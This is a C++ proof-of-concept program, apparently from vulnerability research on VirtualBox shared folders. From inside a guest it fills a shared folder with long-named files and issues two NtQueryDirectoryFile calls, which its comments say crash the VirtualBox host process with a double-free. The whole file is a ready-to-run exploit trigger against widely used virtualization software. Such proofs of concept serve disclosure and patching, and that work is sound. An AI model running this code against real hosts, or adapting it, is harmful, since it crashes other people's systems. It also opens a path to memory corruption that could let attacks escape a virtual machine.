#include <Windows.h>
#include <winternl.h>

#include <cstdio>
#include <time.h>

extern "C"
NTSTATUS WINAPI NtQueryDirectoryFile(
  _In_     HANDLE                 FileHandle,
  _In_opt_ HANDLE                 Event,
  _In_opt_ PIO_APC_ROUTINE        ApcRoutine,
  _In_opt_ PVOID                  ApcContext,
  _Out_    PIO_STATUS_BLOCK       IoStatusBlock,
  _Out_    PVOID                  FileInformation,
  _In_     ULONG                  Length,
  _In_     FILE_INFORMATION_CLASS FileInformationClass,
  _In_     BOOLEAN                ReturnSingleEntry,
  _In_opt_ PUNICODE_STRING        FileName,
  _In_     BOOLEAN                RestartScan
);

typedef struct _FILE_DIRECTORY_INFORMATION {
  ULONG         NextEntryOffset;
  ULONG         FileIndex;
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  LARGE_INTEGER EndOfFile;
  LARGE_INTEGER AllocationSize;
  ULONG         FileAttributes;
  ULONG         FileNameLength;
  WCHAR         FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

int main(int argc, char **argv) {
  // Validate command line format.
  if (argc != 2) {
    printf("Usage: %s <path to a writable shared folder>\n", argv[0]);
    return 1;
  }

  // Initialize the PRNG.
  srand((unsigned int)time(NULL));

  // Create a subdirectory dedicated to demonstrating the vulnerability.
  CHAR TmpDirectoryName[MAX_PATH];
  _snprintf_s(TmpDirectoryName, sizeof(TmpDirectoryName), "%s\\vbox_crash", argv[1]);

  if (!CreateDirectoryA(TmpDirectoryName, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
    printf("CreateDirectory failed, %d\n", GetLastError());
    return 1;
  }

  // Create 16 files with long (128-byte) names, which appears to always be sufficient to trigger the bug.
  CONST UINT kTempFilesCount = 16;
  CONST UINT kTempFilenameLength = 128;
  CHAR TmpFilename[kTempFilenameLength + 1], TmpFilePath[MAX_PATH];

  memset(TmpFilename, 'A', kTempFilenameLength);
  TmpFilename[kTempFilenameLength] = '\0';

  for (UINT i = 0; i < kTempFilesCount; i++) {
    _snprintf_s(TmpFilePath, sizeof(TmpFilePath), "%s\\%s.%u", TmpDirectoryName, TmpFilename, rand());
    HANDLE hFile = CreateFileA(TmpFilePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
      printf("CreateFile#1 failed, %d\n", GetLastError());
      return 1;
    }

    CloseHandle(hFile);
  }
  
  // Open the temporary directory.
  HANDLE hDirectory = CreateFileA(TmpDirectoryName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
  if (hDirectory == INVALID_HANDLE_VALUE) {
    printf("CreateFile#2 failed, %d\n", GetLastError());
    return 1;
  }

  IO_STATUS_BLOCK iosb;
  FILE_DIRECTORY_INFORMATION fdi;

  // Perform the first call, with ReturnSingleEntry set to FALSE.
  NtQueryDirectoryFile(hDirectory, NULL, NULL, NULL, &iosb, &fdi, sizeof(fdi), FileDirectoryInformation, FALSE, NULL, TRUE);

  // Now make the same call, but with ReturnSingleEntry=TRUE. This should crash VirtualBox.exe on the host with a double-free exception.
  NtQueryDirectoryFile(hDirectory, NULL, NULL, NULL, &iosb, &fdi, sizeof(fdi), FileDirectoryInformation, TRUE, NULL, TRUE);

  // We should never reach here.
  CloseHandle(hDirectory);

  return 0;
}